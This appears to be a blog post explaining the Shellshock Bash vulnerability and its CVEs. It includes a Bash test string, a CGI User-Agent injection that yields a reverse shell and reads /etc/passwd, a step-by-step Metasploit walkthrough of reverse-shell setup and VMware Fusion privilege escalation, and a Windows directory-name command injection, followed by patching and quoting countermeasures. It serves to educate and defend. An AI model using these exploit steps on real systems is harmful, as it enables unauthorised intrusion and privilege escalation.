Bug of the Year? The Shellshock Bash Bug Explained

In recent times there have been numerous vulnerabilities that have made their way out of the information security sphere and into the public arena. Heartbleed was an excellent example of this and in the last couple of months a new bug has come to join it, Shellshock.

The Shellshock Bash bug, despite sounding like a move from a Mario game, is actually something that has proven to have wide reaching implications due to the prevalence with which Bash is used within Unix and OS X systems. Read on for more about what some are calling the bug of the year.

A Quick Look At Bash

In order to understand why this bug is causing such widespread impact and has been given a severe rating by many industry professionals, we need to look at Bash and its significance.

Most people will know what Bash is, but for those that don’t, it is an extremely common unix shell which interprets and executes commands, usually over a telnet or SSH connection. As well as this it is commonly used as a parser for CGI scripts on web servers.

Versions of Bash have been in use since around 1989 and it is still the shell of choice on most Linux and Mac OS X machines. So chances are, if you have a Linux or a Mac, this vulnerability will be extremely relevant.

So what is the bug and how does it work?

To better understand what this means in regards to the bug, it is important to look at how it actually works.

In Bash it is possible to declare an environment variable with a function definition as its contents. For example:

env X='() { test; }'

Here we have the environment variable “X” containing the function “test”.

This is totally acceptable behaviour. However it has been found that the shell will also execute all code trailing after a declared function separated by the “;” command separator when a new instance of Bash is called. When Bash calls a new instance of itself it exports all environment variables and functions into the new instance from the calling instance. This is performed by creating a fragment of code from the function and executing it. The problem is that there is no check to ensure it is a valid function. So all code is executed. So for example:

env X='() { test; }; ping 8.8.8.8'

When Bash forks a child instance, its environment variables are exported to the new instance and the command after “};” is then executed. In this case pinging Google’s primary DNS.

This is not intended behaviour and is the source of the problem. So if an attacker can set an environment variable containing malicious code and then initiate a new instance of Bash, they can then exploit the Shellshock vulnerability and execute the code.

Setting an environment variable from a shell is trivial. But how would an attacker perform this remotely?

Of course users have the ability to set environment variables indirectly using CGI scripts. When a user accesses a CGI script a new Bash instance is created and certain values from the user’s GET request are read into environment variables (browser version, user agent, etc). Which means that if a GET request to a CGI script contains a Shellshock exploit string in a specific area, the script will read the string into an environment variable and the code will be executed when the web server spawns a new instance of bash.

This allows attackers to execute arbitrary commands on a system by just sending a malformed GET request to a CGI script. This is why this bug is such a huge security risk.

Since the big reveal…

As with anything that has the far reaching implications that Shellshock does, hackers pounced on the opportunity to throw what they could at it and see what was possible. To say that the netsec community has reacted with interest to this would be an understatement.

There have been a number of proof of concept scripts posted online. A good collection of these can be found here.

Many of the proof of concepts show how to use the vulnerability to get reverse shell and escalate privileges, amongst other things. Some of these are further discussed in the “Some exploits to look at” section later.

A number of official CVEs have been released in relation to the above PoCs:

CVE-2014-6271: The original Shellshock vulnerability. Allows attackers to execute arbitrary code via a crafted environment variable. The original fix for this vulnerability was incorrect.

CVE-2014-6277: These vulnerabilities exist due to a flaw in the original release patch (bash43-025) referenced in CVE-2014-6271 and CVE-2014-7169. Allows attackers to execute arbitrary code or cause a denial of service via a segmentation fault. CVE-2014-6278 addresses an incomplete fix in CVE-2014-6277.

CVE-2014-7169: Updated and modified bypass for the original fix for CVE-2014-6271.

CVE-2014-7186 and CVE-2014-7187: Two later Shellshock variants of note. The first is enabled by an out-of-bounds memory access while handling redir_stack and the last from an off-by-one-error when handling deeply nested flow control constructs. Both allow attackers to execute arbitrary code or perform a denial of service attack.

In the days and weeks following the discovery and release there have been numerous patches pushed out to try to eliminate these vulnerabilities. A list of current available patches are available here.

Be aware that the original Bash patch “bash43-025” intended to fix the first two CVEs causes two further vulnerabilities CVE-2014-6277 and CVE-2014-6278.

When applying the patches be sure to choose the most up to date version and to check for any other patches that may become available. As always though there will always be servers somewhere that haven’t been patched in the last ten years, that may well still be vulnerable.

Some exploits to look at

A simple one first

The quickest way to test if a system is vulnerable to the Shellshock exploit is of course from the Bash shell itself.

This could be achieved by entering the following string into a Bash shell session:

env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id

The following output will be displayed if the system is vulnerable:

bash

As can be seen here the string is returned to the terminal via the echo command and the id command is executed. This means that the current version of Bash is not patched and is vulnerable to the Shellshock bug.

A breakdown of exactly what the exploit is doing is as follows.

A new environment variable named “X” is being declared with an empty function as its contents. Afterwards malicious code is inserted (in this case just echoing “CVE-2014-6271 vulnerable”) and then a new instance of Bash is initiated. The code would be read by the shell as:

() {:;
};
echo "CVE-2014-6271 vulnerable"' bash -c id

Here it’s a little easier to see how the commands are split up by the “;” character. Once the environment variable is defined we call Bash again and the code inserted after the environment function is executed.

Next we will see how it is possible to leverage this bug into a high impact exploit using Apache’s CGI module.

A vulnerable web server exploit

In the previous example we saw how the exploit manifests itself on a local machine. The real problem arises when this exploit is performed remotly by an attacker without any privileges. This example shows how Shellshock can be executed on a vulnerable web server running CGI services simply by changing the content of an HTTP request.

When a CGI script is called a new instance of Bash is called and the HTTP headers are cast as environment variables. By injecting code into the headers of the GET request in the manner shown above it is possible to run arbitrary code on the server. In this example the headers are used but in theory any part of the request that is cast as an environment variable could function as an exploitable attack vector. Simply replace the part of the request with the Shellshock attack string.

An example of how this works:

The first step is to set up a netcat listener for the target machine to connect back to.

capture

Now make a request to a CGI script on vulnerable Apache server, intercept and modify it. I’ve used Burp suite for this. Alternatively you can use Webscarab or any other intermediary proxy you like:

capture2

The header that will contain the payload is the “User-Agent” field. We’ll edit this to contain the Shellshock payload. This particular payload is designed to connect back to the netcat listener on the attacking machine:

capture4

So if we send that request we should receive a connection back to the attacking machine like so:

capture3

The webserver has spawned a bash shell back to our listener, so we can execute commands. Let’s have a look at the user database with “cat /etc/passwd”:

capture5

There we go. The user list for the target system.

We can see here the simplicity of this exploit. Just changing one line in the User agent field allows you to execute Bash commands. This is an excellent example of the severity of the attack and why Shellshock has such a massive impact on information security.

Vmware Fusion Exploit

For a good example of the versatility of this exploit we can move over to OS X and perform a privilege escalation attack.

This exploit uses a metasploit module called vmware_bash_function_root and uses the shellshock vulnerability to get root on the system using vmware fusion.

The first stage of this exploit involves using metasploit to create a low privileged shell on the target system. This is done by generating the payload, creating a listener and executing the shellcode manually in order to provide a low privileged test shell with which to demonstrate the escalation.

First set the payload to a reverse tcp shell on the your attacking system running metasploit

msf > use payload/osx/x64/shell_reverse_tcp

Set the listener on port 8888

msf payload(shell_reverse_tcp) > set LPORT 8888

LPORT => 8888

Set the host as 127.0.0.1

msf payload(shell_reverse_tcp) > set LHOST 127.0.0.1

LHOST => 127.0.0.1

And then write the payload to a file. In this case the file “msf”

msf payload(shell_reverse_tcp) > generate -f /Users/gillchalmers/msf -t macho

[*] Writing 17204 bytes to /Users/gillchalmers/msf...

Then set up a handler for the reverse shell to connect back to.

msf payload(shell_reverse_tcp) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD osx/x64/shell_reverse_tcp

PAYLOAD => osx/x64/shell_reverse_tcp

msf exploit(handler) > set LHOST 127.0.0.1

LHOST => 127.0.0.1

msf exploit(handler) > set LPORT 8888

LPORT => 8888

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 127.0.0.1:8888

[*] Starting the payload handler...

msf exploit(handler) >

With this set up, open another terminal session with a non-root user. To check that we are running as a non-root user a test file called file.txt was created that has read and write access for only root. Shown below, the non-privileged user does not have permission to write to this file.

Gills-Mac:~ gillchalmers$ ls -al /Users/gillchalmers/file.txt

-rw-r--r-- 1 root wheel 8 Nov 14 15:30 /Users/gillchalmers/file.txt

Then, we execute the generated msf payload as the non-root user.

ss4

This will bind to the payload handler that was created earlier, giving us a non-privileged shell back to metasploit.

ss3

Now it is time to go for the vmware exploit where we will escalate the shell’s privileges. Back in the metasploit terminal window

msf exploit(handler) > use exploit/osx/local/vmware_bash_function_root

Open up the vmware exploit and then set the session and exploit.

msf exploit(vmware_bash_function_root) > set SESSION 1

msf exploit(vmware_bash_function_root) > exploit

This will use the remote shell to exploit the vmware privilege escalation.

Returning to the non-root terminal, use the touch command to look at whether they have write access.

Gills-Mac:~ gillchalmers$ touch /Users/gillchalmers/file.txt

touch: /Users/gillchalmers/file.txt: Permission denied

Return to the metasploit terminal where the escalated shell can now write to the file.

echo itworks > /Users/gillchalmers/file.txt

with this done go back to the non-root terminal screen and you should see the string “itworks” that was written by the escalated shell.

Gills-Mac:~ gillchalmers$ cat /Users/gillchalmers/file.txt

itworks

And there we have privilege escalation. Given that the version of vmware fusion that was used for this is (at the time of writing) the current version, this shows how dangerous Shellshock potentially is. The wide reaching implications of this bug may yet to have been fully identified.

Countermeasures

Since Shellshock was publicly released, patches have been pushed out to try and fix the problem.

Finding the patch for your system is advisable and doing it as soon as possible is to be recommended. However…..

The patches that have been released so far are not complete. They patch the bug to an extent, but due to the fact that a lot of them were thrown out rapidly, they do still require some work.

In order to ensure that your system remains safe and up to date, it is important to keep up with the patches that are being worked on and to implement them quickly.

The quickest and safest way to do this, for a Debian based linux, would be by updating your system as follows:

sudo apt-get update; sudo apt-get upgrade

or if you would rather only patch Bash:

sudo apt-get update && sudo apt-get install --only-upgrade bash

OS X users can follow the guidance in this article.

Once updated you should be able to see that Bash has been updated from version 3.2.51 to 3.2.53 by running the “bash –version” command.

Just so that Windows users don’t feel left out.

The programming mistakes that cause Bash to be vulnerable to the Shellshock exploit are not unique to Bash alone. A similar vulnerability exists in the Windows command interpreter. In a similar manner to Bash, any commands placed after an environment variable using a line break will be interpreted and executed by the shell.

Example:

win1

You can see here after setting the environment variable “B” with the value of “exploit” and a trailing command, seperated with a line break, subsequent recall of that environment variable causes the trailing command to be executed.

On its own this particular exploit is fairly innocuous. If someone can set environment variables on a Windows system then they have the required privileges to carry out far more dangerous attacks rendering this one in particular fairly irrelevant. However there is another way in which weaknesses within the command interpreter can be exploited…

A built in environment variable for the Windows command shell is “%CD%”. This particular variable stores the current working directory. This can be exploited by a specially crafted directory name. Putting a command in the directory name will cause any recall of the %CD% variable to execute the command.

Example:

win2

Above you can see by creating a folder named “Exploit&Ping 8.8.8.8” the command can be executed by simply calling the %CD% environment variable. So how can this be used to compromise a system?

If a script allows a user to create directories and echo the %CD% variable then in theory it should be possible to run arbitrary commands. All an attacker has to do at this point is create a directory with the relevant commands as the directory names and ensure the server echos it.

An example from Rob Van Der Woude is this script designed to be run by a file server as admin.

It takes ownership of all files recursively in a directory (for removal etc). If a user can create a directory with a command as the file name, upon the system performing garbage collection the command will be run with administrative privileges.

Example;

win8

It is not only the %CD% variable that is vulnerable. If a user can change any system-wide string variable and get the script to echo it, the command will be run.

Countermeasures

Fortunately there is a simple quick fix for this exploit that you can solve with a simple search and replace. By enclosing all %CD% variables in quotation marks they are then parsed normally.

Consider the following script:

win3

When saved as a batch file and run inside a directory that includes a command as a directory name the following occurs:

win4

Whereas:

win5

Will result in:

win6

So a simple fix for a simple exploit.

The Windows Shellshock equivalent shows that flaws present in the Bash shell are not unique to that shell alone. Improper input validation is the commonly the bane of the netsec community and the above example shows how it effects all forms of software, not just Bash. If a mistake this common, with such a high impact can be found in a piece of software as ubiquitous and as old as Bash then you can assume there are more waiting to be found in the wild.

So as always….Validate your inputs!!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s